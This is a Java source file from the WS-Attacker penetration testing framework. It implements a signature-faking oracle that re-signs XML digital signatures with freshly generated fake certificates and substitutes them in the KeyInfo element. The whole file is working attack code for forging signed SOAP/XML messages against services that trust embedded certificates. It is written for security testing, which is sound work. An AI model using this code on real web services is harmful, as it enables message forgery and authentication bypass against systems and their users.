Java tutorial
/** * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright * (C) 2013 Juraj Somorovsky * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ /* * To change this template, choose Tools | Templates * and open the template in the editor. */ package wsattacker.library.signatureFaking; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import java.security.PrivateKey; import java.security.PublicKey; import java.security.Security; import java.util.LinkedList; import java.util.List; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import org.apache.commons.codec.binary.Base64; import org.apache.log4j.Logger; import org.bouncycastle.jce.provider.BouncyCastleProvider; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.NamedNodeMap; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import org.xml.sax.SAXException; import wsattacker.library.signatureFaking.exceptions.CertificateHandlerException; import wsattacker.library.signatureFaking.exceptions.SignatureFakingException; import wsattacker.library.signatureFaking.helper.CertificateHandler; import wsattacker.library.xmlutilities.namespace.NamespaceConstants; import wsattacker.library.xmlutilities.dom.DomUtilities; /** * Creates faked signatures by issuing a new certificate and resigning the original signature value * * @author Juraj Somorovsky - juraj.somorovsky@rub.de * @version 0.1 */ public class SignatureFakingOracle { private Document doc; private List<Node> signatureValueElements; private List<Node> keyInfoElements; private List<String> certificates; private List<CertificateHandler> certHandlers; private Logger log = Logger.getLogger(SignatureFakingOracle.class); /** * Creates SignatureWrappingOracle, parses the document and searches for all the SignatureValue and KeyInfo elements * * @param documentString * @throws SignatureFakingException */ public SignatureFakingOracle(final String documentString) throws SignatureFakingException { Security.addProvider(new BouncyCastleProvider()); signatureValueElements = new LinkedList<Node>(); keyInfoElements = new LinkedList<Node>(); certificates = new LinkedList<String>(); certHandlers = new LinkedList<CertificateHandler>(); try { doc = DomUtilities.stringToDom(documentString); crawlSignatureElements(); log.debug("found " + signatureValueElements.size() + " SignatureValue elements"); crawlKeyInfoElements(); log.debug("found " + keyInfoElements.size() + " KeyInfo elements containing X509 certificates"); } catch (SAXException e) { throw new SignatureFakingException(e); } } /** * Creates fake signatures * * @throws SignatureFakingException */ public void fakeSignatures() throws SignatureFakingException { try { createFakedCertificates(); for (int i = 0; i < signatureValueElements.size(); i++) { fakeSignature(i); } } catch (CertificateHandlerException e) { throw new SignatureFakingException(e); } } public void fakeSignature(int i) throws CertificateHandlerException, SignatureFakingException { if (signatureValueElements.size() != certHandlers.size()) { createFakedCertificates(); } String signature = signatureValueElements.get(i).getTextContent(); CertificateHandler ch = certHandlers.get(i); byte[] newSignature = resignValue(Base64.decodeBase64(signature), ch); signatureValueElements.get(i).setTextContent(new String(Base64.encodeBase64(newSignature))); appendCertificate(keyInfoElements.get(i), ch.getFakedCertificateString()); } private void createFakedCertificates() throws CertificateHandlerException { for (String cert : certificates) { CertificateHandler ch = new CertificateHandler(cert); ch.createFakedCertificate(); certHandlers.add(ch); } } /** * @return True if the signature contains public key information (X509 certificate in the KeyInfo element) */ public boolean certificateProvided() { if (certificates.size() > 0) { return true; } else { return false; } } public void setCertificate(String cert) { certificates.clear(); // we want to have so many certificates as many signature values for (int i = 0; i < signatureValueElements.size(); i++) { certificates.add(cert); } } /** * Crawls all the collected KeyInfo elements and extracts certificates */ private void crawlKeyInfoElements() { for (Node ki : keyInfoElements) { List<Element> l = DomUtilities.findChildren(ki, "X509Certificate", NamespaceConstants.URI_NS_DS, true); if (l.size() > 0) { Node x509cert = l.get(0); if (x509cert != null && x509cert.getLocalName().equals("X509Certificate")) { certificates.add(x509cert.getTextContent()); } } } } private void crawlSignatureElements() throws SignatureFakingException { // TODO replace with DOMUtilities NodeList nl = getSignatureElements(); for (int i = 0; i < nl.getLength(); i++) { Node n = nl.item(i); NodeList children = n.getChildNodes(); for (int j = 0; j < children.getLength(); j++) { Node current = children.item(j); if (current.getNodeType() == Node.ELEMENT_NODE) { if (current.getLocalName().equals("SignedInfo")) { Element signatureMethod = DomUtilities .findChildren(current, "SignatureMethod", NamespaceConstants.URI_NS_DS, false) .get(0); if (signatureMethod != null && (!isSignatureMethodSupported(signatureMethod))) { throw new SignatureFakingException("Signature " + "Algorithm not yet supported"); } } else if (current.getLocalName().equals("SignatureValue")) { signatureValueElements.add(current); } else if (current.getLocalName().equals("KeyInfo")) { keyInfoElements.add(current); } } } } } private boolean isSignatureMethodSupported(Node signatureMethodElement) { NamedNodeMap nl = signatureMethodElement.getAttributes(); Node n = nl.getNamedItem("Algorithm"); if (n != null) { String algorithm = n.getTextContent(); if (algorithm.contains("rsa-sha")) { return true; } } return false; } private void appendCertificate(Node keyInfo, String certificate) { keyInfo.setTextContent(""); String prefix = keyInfo.getPrefix(); if (prefix == null) { prefix = ""; } else { prefix = prefix + ":"; } Node data = keyInfo.getOwnerDocument().createElementNS(NamespaceConstants.URI_NS_DS, prefix + "X509Data"); keyInfo.appendChild(data); Node cert = keyInfo.getOwnerDocument().createElementNS(NamespaceConstants.URI_NS_DS, prefix + "X509Certificate"); data.appendChild(cert); cert.setTextContent(certificate); log.debug("Appending Certificate \r\n" + certificate + "\r\nto the" + prefix + "X509Certificate element"); } private byte[] resignValue(byte[] signatureValue, CertificateHandler ch) throws SignatureFakingException { PrivateKey privKey = ch.getFakedKeyPair().getPrivate(); PublicKey pubKey = ch.getOriginalPublicKey(); String alg = ch.getFakedCertificate().getSigAlgName(); if (alg.contains("RSA")) { try { Cipher cipher = Cipher.getInstance("RSA/None/NoPadding"); cipher.init(Cipher.ENCRYPT_MODE, pubKey); byte[] unsigend = cipher.doFinal(signatureValue); cipher = Cipher.getInstance("RSA/None/NoPadding"); cipher.init(Cipher.DECRYPT_MODE, privKey); log.debug("New Signature value computed"); return cipher.doFinal(unsigend); } catch (BadPaddingException e) { throw new SignatureFakingException(e); } catch (IllegalBlockSizeException e) { throw new SignatureFakingException(e); } catch (InvalidKeyException e) { throw new SignatureFakingException(e); } catch (NoSuchAlgorithmException e) { throw new SignatureFakingException(e); } catch (NoSuchPaddingException e) { throw new SignatureFakingException(e); } } else { return null; } } private NodeList getSignatureElements() { return doc.getElementsByTagNameNS(NamespaceConstants.URI_NS_DS, "Signature"); } public List<String> getCertificates() { return certificates; } public String getDocument() { return DomUtilities.domToString(doc); } }